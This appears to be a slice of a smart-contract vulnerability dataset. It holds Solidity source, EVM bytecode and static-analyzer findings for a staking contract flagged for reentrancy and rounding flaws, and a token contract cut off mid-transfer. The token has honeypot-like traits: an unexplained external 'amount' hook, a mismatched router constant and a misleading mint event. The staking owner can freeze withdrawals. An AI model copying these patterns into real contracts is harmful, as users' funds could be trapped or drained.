05060006116c860646105e98a896110a6565b905060006116e0826116da8b86611592565b90611592565b9992985090965090945050505050565b60008080806116ff88866110a6565b9050600061170d88876110a6565b9050600061171b88886110a6565b9050600061172d826116da8686611592565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561176d57858101830151858201604001528201611751565b8181111561177f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461061f57600080fd5b80356117b581611795565b919050565b600080604083850312156117cd57600080fd5b82356117d881611795565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180f57600080fd5b823567ffffffffffffffff8082111561182757600080fd5b818501915085601f83011261183b57600080fd5b81358181111561184d5761184d6117e6565b8060051b604051601f19603f83011681018181108582111715611872576118726117e6565b60405291825284820192508381018501918883111561189057600080fd5b938501935b828510156118b5576118a6856117aa565b84529385019392850192611895565b98975050505050505050565b6000806000606084860312156118d657600080fd5b83356118e181611795565b925060208401356118f181611795565b929592945050506040919091013590565b60006020828403121561191457600080fd5b813561112881611795565b801515811461061f57600080fd5b60006020828403121561193f57600080fd5b81356111288161191f565b60006020828403121561195c57600080fd5b5035919050565b6000806040838503121561197657600080fd5b823561198181611795565b9150602083013561199181611795565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611a0f57611a0f6119e7565b5060010190565b600060208284031215611a2857600080fd5b815161112881611795565b600080600060608486031215611a4857600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a7357600080fd5b81516111288161191f565b60008219821115611a9157611a916119e7565b500190565b600082821015611aa857611aa86119e7565b500390565b6000816000190483118215151615611ac757611ac76119e7565b500290565b600082611ae957634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b3e5784516001600160a01b031683529383019391830191600101611b19565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122019f5a8291edbd05e257185599582037ed386a056f61c6257cf6e1d549e4ee66c64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,204 |
0xbe8908fb5cdfce597551430daf1d8a28a8fd7fd8
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.5;
// ----------------------------------------------------------------------------
// 'Hype.Bet' Staking smart contract. Pool # 2
// 200k Max token allowed
// 10Days Withdraw lock.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "ERC20: sending to the zero address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function calculateAmountsAfterFee(
address sender,
address recipient,
uint256 amount
) external view returns (uint256 transferToAmount, uint256 transferToFeeDistributorAmount, uint256 transferToOwnerFeeDistributorAmount);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Hype_BetStake is Owned {
using SafeMath for uint256;
address public Hype_Bet = 0xc9Dfcd0A1dD2D7BB6Fd2EF91A16a6a1c4E9846Dd;
uint256 public totalStakes = 0;
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
uint256 public maxAllowed = 200000000000000000000000; //200000 tokens total allowed to be staked
/* Fees breaker, to protect withdraws if anything ever goes wrong */
bool public breaker = false; // withdraw can be lock,, default unlocked
mapping(address => uint) public farmLock; // period that your sake it locked to keep it for farming
//uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block
//address public admin;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
address[] internal stakeholders;
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens);
event EARNED(address staker, uint256 tokens);
event UNSTAKED(address staker, uint256 tokens);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
event WithdrawalLockDurationSet(uint256 value, address sender);
function setBreaker(bool _breaker) external onlyOwner {
breaker = _breaker;
}
function isStakeholder(address _address)
public
view
returns(bool)
{
for (uint256 s = 0; s < stakeholders.length; s += 1){
if (_address == stakeholders[s]) return (true);
}
return (false);
}
function addStakeholder(address _stakeholder)
public
{
(bool _isStakeholder) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(totalStakes <= maxAllowed, "Max Stake amount exceed");
require(IERC20(Hype_Bet).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
(uint256 transferToAmount,,) = IERC20(Hype_Bet).calculateAmountsAfterFee(msg.sender, address(this), tokens);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = transferToAmount.add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
(bool _isStakeholder) = isStakeholder(msg.sender);
if(!_isStakeholder) farmLock[msg.sender] = block.timestamp;
totalStakes = totalStakes.add(transferToAmount);
addStakeholder(msg.sender);
emit STAKED(msg.sender, transferToAmount);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(Hype_Bet).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
(uint256 transferToAmount,,) = IERC20(Hype_Bet).calculateAmountsAfterFee(msg.sender, address(this), tokens);
_addPayout(transferToAmount);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round - 1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(Hype_Bet).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount.add(stakers[staker].remainder));
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(breaker == false, "Admin Restricted WITHDRAW");
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
require(farmLock[msg.sender]+10 days <= block.timestamp, "Withdraw can only be done after 10 days");
totalStakes = totalStakes.sub(tokens);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
require(IERC20(Hype_Bet).transfer(msg.sender, tokens), "Error in un-staking tokens");
emit UNSTAKED(msg.sender, tokens);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedHype_Bet(address staker) public view returns(uint256 stakedHype_Bet){
require(staker != address(0), "ERC20: sending to the zero address");
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the Hype_Bet balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourHype_BetBalance(address user) external view returns(uint256 Hype_BetBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(Hype_Bet).balanceOf(user);
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063ca39967111610071578063ca399671146102bb578063ca84d591146102c3578063e5c42fd1146102e0578063ef037b9014610306578063f2fde38b1461032c5761012c565b80638da5cb5b14610260578063951ef20214610268578063997664d71461028e578063b53d6c2414610296578063bf9befb1146102b35761012c565b80632c75bcda116100f45780632c75bcda146101ce5780634a63929f146101ed5780634baf782e146102135780634df9d6ba1461021b5780635c0aeb0e146102415761012c565b80630a56b8c2146101315780630f41e0d214610155578063146ca5311461017157806329652e861461018b57806329c6fd7f146101a8575b600080fd5b610139610352565b604080516001600160a01b039092168252519081900360200190f35b61015d610361565b604080519115158252519081900360200190f35b61017961036a565b60408051918252519081900360200190f35b610179600480360360208110156101a157600080fd5b5035610370565b610179600480360360208110156101be57600080fd5b50356001600160a01b0316610382565b6101eb600480360360208110156101e457600080fd5b50356103e9565b005b6101796004803603602081101561020357600080fd5b50356001600160a01b0316610681565b6101eb610747565b6101796004803603602081101561023157600080fd5b50356001600160a01b03166108c9565b6101eb6004803603602081101561025757600080fd5b503515156109ec565b610139610a16565b6101796004803603602081101561027e57600080fd5b50356001600160a01b0316610a25565b610179610a37565b6101eb600480360360208110156102ac57600080fd5b5035610a3d565b610179610b91565b610179610b97565b6101eb600480360360208110156102d957600080fd5b5035610b9d565b6101eb600480360360208110156102f657600080fd5b50356001600160a01b0316610e18565b61015d6004803603602081101561031c57600080fd5b50356001600160a01b0316610e7b565b6101eb6004803603602081101561034257600080fd5b50356001600160a01b0316610ed0565b6001546001600160a01b031681565b60085460ff1681565b60065481565b600c6020526000908152604090205481565b60006001600160a01b0382166103c95760405162461bcd60e51b81526004018080602001828103825260228152602001806114786022913960400191505060405180910390fd5b506001600160a01b0381166000908152600b60205260409020545b919050565b60085460ff1615610441576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b336000908152600b602052604090205481118015906104605750600081115b6104b1576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b3360009081526009602052604090205442620d2f0090910111156105065760405162461bcd60e51b81526004018080602001828103825260278152602001806114bb6027913960400191505060405180910390fd5b6002546105139082610f77565b600255600061052133610fc2565b336000908152600b6020526040902060048101805483019055549091506105489083610f77565b336000818152600b6020908152604080832094855560018086018790556003805460028801556006549601959095559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b1580156105c557600080fd5b505af11580156105d9573d6000803e3d6000fd5b505050506040513d60208110156105ef57600080fd5b5051610642576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b60006001600160a01b0382166106c85760405162461bcd60e51b81526004018080602001828103825260228152602001806114786022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b15801561071557600080fd5b505afa158015610729573d6000803e3d6000fd5b505050506040513d602081101561073f57600080fd5b505192915050565b336000908152600b602052604090206002015460035411156108c757600061076e33610fc2565b336000908152600b602052604090206004015490915061078f9082906110d0565b336000818152600b602090815260408083206004908101849055600154825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b1580156107fa57600080fd5b505af115801561080e573d6000803e3d6000fd5b505050506040513d602081101561082457600080fd5b50516108615760405162461bcd60e51b815260040180806020018281038252602c81526020018061144c602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600b602052604090206001810191909155600654600380830191909155546002909101555b565b60006001600160a01b0382166109105760405162461bcd60e51b81526004018080602001828103825260228152602001806114786022913960400191505060405180910390fd5b6001600160a01b0382166000908152600b60209081526040808320600380820154600554925460001982018752600c909552928520549054929493610969936109639261095d9190610f77565b9061112a565b90611183565b6005546001600160a01b0386166000908152600b602090815260408083205460001988018452600c9092529091205460035493945091926109ae9261095d9190610f77565b816109b557fe5b6001600160a01b0386166000908152600b602052604090206004015491900691909101906109e49082906110d0565b949350505050565b6000546001600160a01b03163314610a0357600080fd5b6008805460ff1916911515919091179055565b6000546001600160a01b031681565b60096020526000908152604090205481565b60035481565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a9757600080fd5b505af1158015610aab573d6000803e3d6000fd5b505050506040513d6020811015610ac157600080fd5b5051610afe5760405162461bcd60e51b81526004018080602001828103825260308152602001806115106030913960400191505060405180910390fd5b6001546040805163301a580160e01b81523360048201523060248201526044810184905290516000926001600160a01b03169163301a5801916064808301926060929190829003018186803b158015610b5657600080fd5b505afa158015610b6a573d6000803e3d6000fd5b505050506040513d6060811015610b8057600080fd5b50519050610b8d816111c5565b5050565b60025481565b60075481565b6007546002541115610bf6576040805162461bcd60e51b815260206004820152601760248201527f4d6178205374616b6520616d6f756e7420657863656564000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610c5057600080fd5b505af1158015610c64573d6000803e3d6000fd5b505050506040513d6020811015610c7a57600080fd5b5051610cb75760405162461bcd60e51b815260040180806020018281038252602e8152602001806114e2602e913960400191505060405180910390fd5b6001546040805163301a580160e01b81523360048201523060248201526044810184905290516000926001600160a01b03169163301a5801916064808301926060929190829003018186803b158015610d0f57600080fd5b505afa158015610d23573d6000803e3d6000fd5b505050506040513d6060811015610d3957600080fd5b505190506000610d4833610fc2565b336000908152600b602052604090206004810180548301905554909150610d709083906110d0565b336000818152600b6020526040812092835560018301849055600380546002850155600654930192909255610da490610e7b565b905080610dbe573360009081526009602052604090204290555b600254610dcb90846110d0565b600255610dd733610e18565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a150505050565b6000610e2382610e7b565b905080610b8d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0384166001600160a01b03199091161790555050565b6000805b600a54811015610ec757600a8181548110610e9657fe5b6000918252602090912001546001600160a01b0384811691161415610ebf5760019150506103e4565b600101610e7f565b50600092915050565b6000546001600160a01b03163314610ee757600080fd5b6001600160a01b038116610f2c5760405162461bcd60e51b81526004018080602001828103825260228152602001806114786022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610fb983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b0565b90505b92915050565b60006001600160a01b0382166110095760405162461bcd60e51b81526004018080602001828103825260228152602001806114786022913960400191505060405180910390fd5b6001600160a01b0382166000908152600b60209081526040808320600380820154600554925460001982018752600c909552928520549054929493611056936109639261095d9190610f77565b6005546001600160a01b0386166000908152600b602090815260408083205460001988018452600c90925290912054600354939450919261109b9261095d9190610f77565b816110a257fe5b6001600160a01b03959095166000908152600b60205260409020600401805491909506019093555090919050565b600082820183811015610fb9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261113957506000610fbc565b8282028284828161114657fe5b0414610fb95760405162461bcd60e51b815260040180806020018281038252602181526020018061149a6021913960400191505060405180910390fd5b6000610fb983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611347565b60006111e86004546111e26005548561112a90919063ffffffff16565b906110d0565b905060006112016002548361118390919063ffffffff16565b9050611218600254836113ac90919063ffffffff16565b60045560035461122890826110d0565b600355600654600019016000908152600c602052604090205461124b90826110d0565b600680546000908152600c602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060068054600101905550565b6000818484111561133f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113045781810151838201526020016112ec565b50505050905090810190601f1680156113315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836113965760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113045781810151838201526020016112ec565b5060008385816113a257fe5b0495945050505050565b6000610fb983836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836114385760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113045781810151838201526020016112ec565b5082848161144257fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e747261637445524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7757697468647261772063616e206f6e6c7920626520646f6e652061667465722031302064617973546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a26469706673582212200c14dfc7644d7447dc6c8c97bb5ff03694148a3d670c47f7fd96173c1bee82c864736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,205 |
0x2B581A743d8c74722F8987E3D28087397ca69669
|
/**
*Submitted for verification at Etherscan.io on 2021-11-20
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/kanaotoken
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=8;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="KANAO";
string constant TOKEN_NAME="Kanao Token";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract ERCToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
